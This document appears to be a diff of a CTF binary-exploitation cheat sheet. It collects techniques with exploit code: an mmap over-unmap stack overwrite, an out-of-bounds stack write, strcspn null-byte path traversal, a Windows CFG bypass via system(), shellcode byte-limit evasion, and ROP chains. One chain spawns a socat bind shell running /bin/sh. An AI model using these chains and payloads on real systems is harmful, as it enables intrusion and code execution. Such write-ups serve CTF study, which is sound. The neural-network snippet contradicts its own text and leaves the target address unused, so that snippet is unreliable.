**Pattern (UploadCenter):** A PNG upload service uses `mmap(width*height)` for image storage but `munmap(compressed_length)` to free it. When compressed length exceeds image dimensions, `munmap` frees more memory than was mapped, unmapping adjacent regions. Chain: (1) upload large PNG so its mmap lands adjacent to a global output buffer; (2) delete PNG — munmap frees both the image AND the output buffer; (3) spawn a thread — `pthread_create` mmaps a stack into the freed gap, overlapping the still-referenced output buffer; (4) upload new PNG — decompressed data written through the output buffer overwrites the thread's stack for ROP.
|
|
340
|
+
|
|
341
|
+
```python
|
|
342
|
+
# Trigger: allocation uses image dimensions, deallocation uses compressed size
|
|
343
|
+
# img = mmap(0, width*height, ...) # small allocation
|
|
344
|
+
# pngobj->length = compressed_length # larger than width*height
|
|
345
|
+
# munmap(pngobj->content, pngobj->length) # OVER-UNMAP!
|
|
346
|
+
|
|
347
|
+
# Exploit chain:
|
|
348
|
+
upload_png(large_png) # mmap lands near global output buffer
|
|
349
|
+
delete_png() # munmap frees output buffer region too
|
|
350
|
+
start_monitor() # pthread_create mmaps stack into freed gap
|
|
351
|
+
upload_rop_png(rop_payload) # decompress writes through output buf -> thread stack
|
|
352
|
+
```
|
|
353
|
+
|
|
354
|
+
**Key insight:** The mmap/munmap size mismatch creates an "over-unmap" that silently destroys adjacent mappings. When a new thread's stack fills the gap, the old buffer pointer becomes a write-what-where into the thread's stack frame. This is a race-free UAF variant that doesn't require heap metadata corruption.
|
|
355
|
+
|
|
356
|
+
---
|
|
357
|
+
|
|
358
|
+
## Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)
|
|
359
|
+
|
|
360
|
+
**Pattern (memo):** The `new_memo` function stores the user-supplied memo index into a global variable *before* validating bounds. The allocation is rejected for out-of-bounds values, but the global `last_memo` retains the invalid index. The `edit_memo` function uses `last_memo` without bounds checking, and the program stores stack pointers at indices 5-9 of the array during `new_memo`. Setting `last_memo=6` causes `edit_memo` to write through a stack address, enabling direct stack overwrites.
|
|
361
|
+
|
|
362
|
+
```python
|
|
363
|
+
# Bug: global index set BEFORE bounds check
|
|
364
|
+
# new_memo:
|
|
365
|
+
# last_memo = user_index # stored here
|
|
366
|
+
# if user_index > 4: reject # checked too late
|
|
367
|
+
# memos[user_index + 5] = &stack_local # stack addr in array!
|
|
368
|
+
|
|
369
|
+
# Exploit:
|
|
370
|
+
new_memo(6) # rejected, but last_memo = 6
|
|
371
|
+
# memos[11] = stack pointer from new_memo's frame
|
|
372
|
+
edit_memo(payload) # writes through memos[6] which IS a stack address
|
|
373
|
+
# payload overwrites return address -> hidden shellcode executor function
|
|
374
|
+
```
|
|
375
|
+
|
|
376
|
+
**Key insight:** TOCTOU-style vulnerability in a single function — the index is committed to global state before validation rejects it. Combined with the program storing stack addresses in the same array, this turns an invalid index into a direct stack write primitive. Look for patterns where global state is updated before error checking.
|
|
377
|
+
|
|
378
|
+
---
|
|
379
|
+
|
|
380
|
+
## strcspn as Indirect Null Byte Injection (BSidesSF 2017)
|
|
381
|
+
|
|
382
|
+
**Pattern (Steel Mountain: Sensors):** A CGI binary constructs filenames via `snprintf("sensors/%s.cfg", input)`. Direct null byte injection is blocked by the CGI library. After snprintf, `strcspn(buf, "\r\n")` is called and the result index is used to write a null byte (terminating at the first newline). Injecting `%0A` (URL-encoded newline) after the desired filename causes: `sensors/../flag.txt\n.cfg` → null byte written at the `\n` position → `sensors/../flag.txt\0.cfg`, truncating the `.cfg` extension.
|
|
383
|
+
|
|
384
|
+
```bash
|
|
385
|
+
# Request: sensor=../flag.txt%0A&debug
|
|
386
|
+
# snprintf produces: "sensors/../flag.txt\n.cfg"
|
|
387
|
+
# strcspn("sensors/../flag.txt\n.cfg", "\r\n") = 23
|
|
388
|
+
# buf[23] = '\0'
|
|
389
|
+
# Result: "sensors/../flag.txt" (null-terminated, .cfg removed)
|
|
390
|
+
# -> reads /flag.txt via path traversal
|
|
391
|
+
```
|
|
392
|
+
|
|
393
|
+
**Key insight:** `strcspn` followed by null-byte write is a common C pattern for line termination. When user input reaches this code path with injected newlines, it becomes an indirect null byte injection vector — even when direct null bytes are filtered by the input layer (CGI, HTTP).
|
|
394
|
+
|
|
395
|
+
---
|
|
396
|
+
|
|
397
|
+
## Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)
|
|
398
|
+
|
|
399
|
+
**Pattern:** Windows Control Flow Guard (CFG) validates indirect call targets at runtime, but `system()` from msvcrt is a valid CFG target, enabling exploitation via function pointer overwrite.
|
|
400
|
+
|
|
401
|
+
```python
|
|
402
|
+
from pwn import *
|
|
403
|
+
|
|
404
|
+
# On Windows with CFG, overwrite function pointer with system()
|
|
405
|
+
# system() is a valid call target in CFG bitmap — it's a legitimate API entry point
|
|
406
|
+
# CFG only validates that the target is a valid function start, not WHICH function
|
|
407
|
+
|
|
408
|
+
# If input filter blocks space (0x20), use comma as argument separator
|
|
409
|
+
# cmd.exe treats comma as equivalent to space in argument lists
|
|
410
|
+
payload = b"type,flag.txt&whoami^/all\x00"
|
|
411
|
+
# 'type,flag.txt' works because cmd.exe treats comma as argument separator
|
|
412
|
+
# ^ escapes the / character
|
|
413
|
+
# & chains commands
|
|
414
|
+
|
|
415
|
+
# Exploit chain:
|
|
416
|
+
# 1. Leak module base (defeat ASLR)
|
|
417
|
+
# 2. Find system() address via IAT or known offset in msvcrt
|
|
418
|
+
system_addr = msvcrt_base + system_offset
|
|
419
|
+
|
|
420
|
+
# 3. Overwrite a function pointer (vtable entry, callback, etc.)
|
|
421
|
+
write_addr(vtable_entry, system_addr)
|
|
422
|
+
|
|
423
|
+
# 4. Trigger the indirect call with controlled first argument
|
|
424
|
+
# The overwritten pointer now calls system(attacker_string)
|
|
425
|
+
trigger_call(payload)
|
|
426
|
+
```
|
|
427
|
+
|
|
428
|
+
```c
|
|
429
|
+
// Alternative: if building a local exploit, bypass character filters
|
|
430
|
+
// Comma replaces space, ^ escapes special chars
|
|
431
|
+
// system("type,flag.txt") == system("type flag.txt")
|
|
432
|
+
// system("cmd,/c,dir") == system("cmd /c dir")
|
|
433
|
+
```
|
|
434
|
+
|
|
435
|
+
**Key insight:** CFG only validates that the target is a valid function entry point -- it does not restrict which function is called. Since `system()` is a legitimate API exported by msvcrt, it passes CFG validation. Use comma instead of space and `^` for escaping when the input filter restricts certain characters. This applies to any Windows binary with CFG where you can overwrite an indirect call target.
|
|
436
|
+
|
|
437
|
+
**When to recognize:** Windows binary with CFG enabled (check with `dumpbin /headers` or `winchecksec`). Look for writable function pointers (vtables, callbacks, C++ objects) that are called via indirect `call [reg]` instructions. CFG prevents jumping to arbitrary code but allows calling any valid function.
|
|
438
|
+
|
|
439
|
+
**References:** Insomni'hack 2017
|
|
440
|
+
|
|
441
|
+
---
|
|
442
|
+
|
|
443
|
+
## Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)
|
|
444
|
+
|
|
445
|
+
**Pattern:** Binary uses a neural network to compute an index into a function pointer array without bounds checking. Edit neuron weights/biases to make the network output an out-of-bounds index pointing to win function.
|
|
446
|
+
|
|
447
|
+
**Attack chain:**
|
|
448
|
+
1. Reverse engineer the NN architecture: input layer -> hidden layer -> output neuron
|
|
449
|
+
2. Identify the function pointer array and the target `print_flag` function at index 19 (beyond valid range)
|
|
450
|
+
3. The bias array is stored as IEEE 754 doubles -- the target address can be encoded directly as a bias value
|
|
451
|
+
4. Retrain/edit weights so the network's output neuron produces index 19 for any input
|
|
452
|
+
5. The OOB index reads from the biases array, interpreting the `print_flag` address as a function pointer
|
|
453
|
+
|
|
454
|
+
```python
|
|
455
|
+
import struct
|
|
456
|
+
import numpy as np
|
|
457
|
+
|
|
458
|
+
# Target: function pointer array has 10 valid entries (indices 0-9)
|
|
459
|
+
# print_flag is at a known address, need index 19 to reach it in memory
|
|
460
|
+
target_index = 19
|
|
461
|
+
|
|
462
|
+
# The NN output is: sigmoid(sum(w_i * x_i) + bias) * num_functions
|
|
463
|
+
# To force output = 19, adjust weights and biases:
|
|
464
|
+
# Set all hidden->output weights to 0 except bias
|
|
465
|
+
# bias = inverse_sigmoid(19 / num_entries) ... but simpler:
|
|
466
|
+
|
|
467
|
+
# Overwrite the bias in the model file to encode print_flag address
|
|
468
|
+
print_flag_addr = 0x08048686
|
|
469
|
+
bias_bytes = struct.pack('<d', float(target_index))
|
|
470
|
+
|
|
471
|
+
# Patch the model weights file
|
|
472
|
+
with open('model.bin', 'r+b') as f:
|
|
473
|
+
f.seek(bias_offset)
|
|
474
|
+
f.write(bias_bytes)
|
|
475
|
+
|
|
476
|
+
# When the NN runs: output index = 19 -> array[19] reads from biases
|
|
477
|
+
# biases[offset] contains print_flag address as IEEE 754 double
|
|
478
|
+
```
|
|
479
|
+
|
|
480
|
+
**Key insight:** The target address (`print_flag`) is encoded as an IEEE 754 double in the biases array. The NN is retrained to output index 19 (beyond the valid array), which reads the bias value as a function pointer. Neural network models that compute array indices without bounds checking turn ML parameter editing into arbitrary function dispatch.
|
|
481
|
+
|
|
482
|
+
---
|
|
483
|
+
|
|
484
|
+
## Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)
|
|
485
|
+
|
|
486
|
+
**Pattern:** When shellcode is limited to N unique bytes, use the first run to spray the stack with push instructions, corrupting the uniqueness counter (`seen[256]`). Arrange re-execution of main (skipping `memset`) so the counter overflows below N, then send arbitrary shellcode on the second run.
|
|
487
|
+
|
|
488
|
+
**Exploitation strategy:**
|
|
489
|
+
1. The binary checks `seen[256]` on the stack to count unique bytes in shellcode
|
|
490
|
+
2. If more than N unique bytes are found, execution is rejected
|
|
491
|
+
3. First payload uses only a few unique bytes but sprays the stack with `push` instructions
|
|
492
|
+
4. The `push` spray overwrites the `seen[256]` counter array on the stack
|
|
493
|
+
5. Arrange the shellcode to jump back to `main` but past the `memset` that clears `seen[]`
|
|
494
|
+
6. On the second run, the corrupted counter already shows values above threshold, and overflow arithmetic causes the unique count to appear below N
|
|
495
|
+
|
|
496
|
+
```python
|
|
497
|
+
from pwn import *
|
|
498
|
+
|
|
499
|
+
# First run: corrupt seen[] counter via stack spray
|
|
500
|
+
# Use minimal unique bytes: pop rbx, dec rbx, push rbx, inc rsp, jmp rbx
|
|
501
|
+
payload1 = asm("pop rbx; " + ("dec rbx; " * (0x72f - 0x6d2)) +
|
|
502
|
+
("push rbx; " * 64) + "inc rsp; jmp rbx")
|
|
503
|
+
io.send(payload1)
|
|
504
|
+
|
|
505
|
+
# Second run: full shellcode passes because seen[256] overflowed back to <7
|
|
506
|
+
payload2 = asm(shellcraft.sh())
|
|
507
|
+
io.send(payload2)
|
|
508
|
+
io.interactive()
|
|
509
|
+
```
|
|
510
|
+
|
|
511
|
+
**Key insight:** The unique-byte counter lives on the stack at `seen[256]`. Spraying the stack with push instructions during the first shellcode run corrupts this counter. When main re-executes without clearing the array, the overflowed counter allows arbitrary bytes in the second payload. Any stack-resident validation state can be corrupted by shellcode that targets the stack frame above it.
|
|
512
|
+
|
|
513
|
+
---
|
|
514
|
+
|
|
515
|
+
See [advanced-exploits.md](advanced-exploits.md) for VM signed comparison, BF JIT shellcode, type confusion, ASAN shadow memory, format string with encoding constraints, MD5 preimage gadgets, VM GC UAF, FSOP + seccomp bypass, and stack variable overlap techniques.
|
|
516
|
+
|
|
517
|
+
See [rop-advanced.md](rop-advanced.md) for `.fini_array` hijack details.
|
|
518
|
+
|
|
519
|
+
See [sandbox-escape.md](sandbox-escape.md) for shell tricks and restricted environment techniques.
|
|
520
|
+
|
|
521
|
+
---
|
|
522
|
+
|
|
523
|
+
## ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)
|
|
524
|
+
|
|
525
|
+
**Pattern:** ARM64 `system()` requires `x0` to hold the pointer to the command string. Full ASLR + mangled PLT leave no clean one-gadget. But libc's `getusershell()` returns a pointer to the static string `"/bin/sh"` inside libc itself, and places it in `x0` as its return value. A two-call ROP chain — `getusershell()` then `system()` — wins without needing any register-loading gadget.
|
|
526
|
+
|
|
527
|
+
```python
|
|
528
|
+
from pwn import *
|
|
529
|
+
libc = ELF("./libc-2.27.so")
|
|
530
|
+
|
|
531
|
+
def get_libc_base(leak):
|
|
532
|
+
return leak - libc.symbols["printf"]
|
|
533
|
+
|
|
534
|
+
libc_base = get_libc_base(leak_from_bug)
|
|
535
|
+
libc.address = libc_base
|
|
536
|
+
|
|
537
|
+
rop = ROP(libc)
|
|
538
|
+
rop.raw(rop.find_gadget(["ret"]).address) # align stack
|
|
539
|
+
rop.call(libc.symbols["getusershell"]) # x0 ← "/bin/sh" (side effect)
|
|
540
|
+
rop.call(libc.symbols["system"]) # system("/bin/sh")
|
|
541
|
+
|
|
542
|
+
payload = cyclic(offset_to_pc) + rop.chain()
|
|
543
|
+
io.sendline(payload)
|
|
544
|
+
io.interactive()
|
|
545
|
+
```
|
|
546
|
+
|
|
547
|
+
**Key insight:** ARM64 has far fewer stack-popping gadgets than x86-64, so classic `pop rdi; ret` chains rarely exist. Instead look for *libc functions whose return value is a constant pointer that gets stored in the ABI's first-arg register*: `getusershell()`, `getenv("SHELL")`, `getpwuid(0)->pw_shell`, `tmpnam()`. Chain any of them with `system()`/`execve()` and you get an implicit arg-setup for free. This trick generalises to any calling convention where the return register equals the first-arg register (ARM32/64, MIPS, RISC-V).
|
|
548
|
+
|
|
549
|
+
**References:** HITCON CTF 2018 — tooooo, writeup 11908
|
|
550
|
+
|
|
551
|
+
---
|
|
552
|
+
|
|
553
|
+
## OOB Dispatch Table Read via Attacker-Controlled rdx Index (TAMUctf 2019)
|
|
554
|
+
|
|
555
|
+
**Pattern (pwn6):** Multi-command server dispatches incoming messages through a per-user function-pointer array:
|
|
556
|
+
|
|
557
|
+
```asm
|
|
558
|
+
mov rax, [rax + rdx*8 + 0x8] ; rdx = attacker-controlled index (u32 field of message)
|
|
559
|
+
call rax
|
|
560
|
+
```
|
|
561
|
+
|
|
562
|
+
The allowed-commands check reads `[rax + rdx*8]` for a null-pointer slot but never validates that `rdx` is in range — so any negative or large index pulls an adjacent memory qword into `rax` and calls it. Pick an `rdx` that lands on a stack-pivot gadget (`add rsp, 0x58; ret`) so the subsequent `call` leaves the message payload (also placed at `rsp+0x58`) as a full ROP chain.
|
|
563
|
+
|
|
564
|
+
```python
|
|
565
|
+
import pwn
|
|
566
|
+
|
|
567
|
+
STACK_PIVOT = 0x409070 # add rsp, 0x58; ret
|
|
568
|
+
POP_RDI = 0x4021ce
|
|
569
|
+
POP_RAX = 0x409073
|
|
570
|
+
MOV_QW_RAX_RDI = 0x408e46 # mov [rax+0x10], rdi; ret -> arbitrary write
|
|
571
|
+
SYSTEM_PLT = 0x401a10
|
|
572
|
+
BINSH = 0x006d1000 # writable BSS slot we populate first
|
|
573
|
+
|
|
574
|
+
def array_lookup(rdx, payload):
|
|
575
|
+
# Message format: cmd=0x0a, 2-byte flags, then 32-bit rdx, then payload
|
|
576
|
+
return b'\x0a' + b'\x00'*2 + b'\x00' + pwn.p32(rdx - 4) + payload
|
|
577
|
+
|
|
578
|
+
rop = pwn.p64(STACK_PIVOT)
|
|
579
|
+
rop += write_what_where(b'socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"/bin/sh"\x00', BINSH)
|
|
580
|
+
rop += pwn.p64(POP_RDI) + pwn.p64(BINSH)
|
|
581
|
+
rop += pwn.p64(0x401e7c) * 3 # ret-slides for 16-byte alignment
|
|
582
|
+
rop += pwn.p64(SYSTEM_PLT)
|
|
583
|
+
|
|
584
|
+
p = pwn.remote('127.0.0.1', 6210)
|
|
585
|
+
p.send(array_lookup(0x6c, rop)) # rdx=0x6c -> points at pivot gadget
|
|
586
|
+
```
|
|
587
|
+
|
|
588
|
+
**Key insight:** Every "permission check" that inspects an entry of a dispatch table (`table[i] != NULL`) is useless unless bounds are enforced *before* the read. When the read has the shape `mov rax, [base + rdx*8 + C]`, any aligned 8-byte qword in the binary can be reached as a function pointer without needing to overflow or corrupt anything. Scan the binary for useful function-pointer-shaped qwords within ±0x1000 of `base`; stack pivots that reach a large message buffer produce a full ROP without further bugs, since the pivot lands RSP exactly on attacker data.
|
|
589
|
+
|
|
590
|
+
**References:** TAMUctf 2019 — pwn6, writeup 13479
|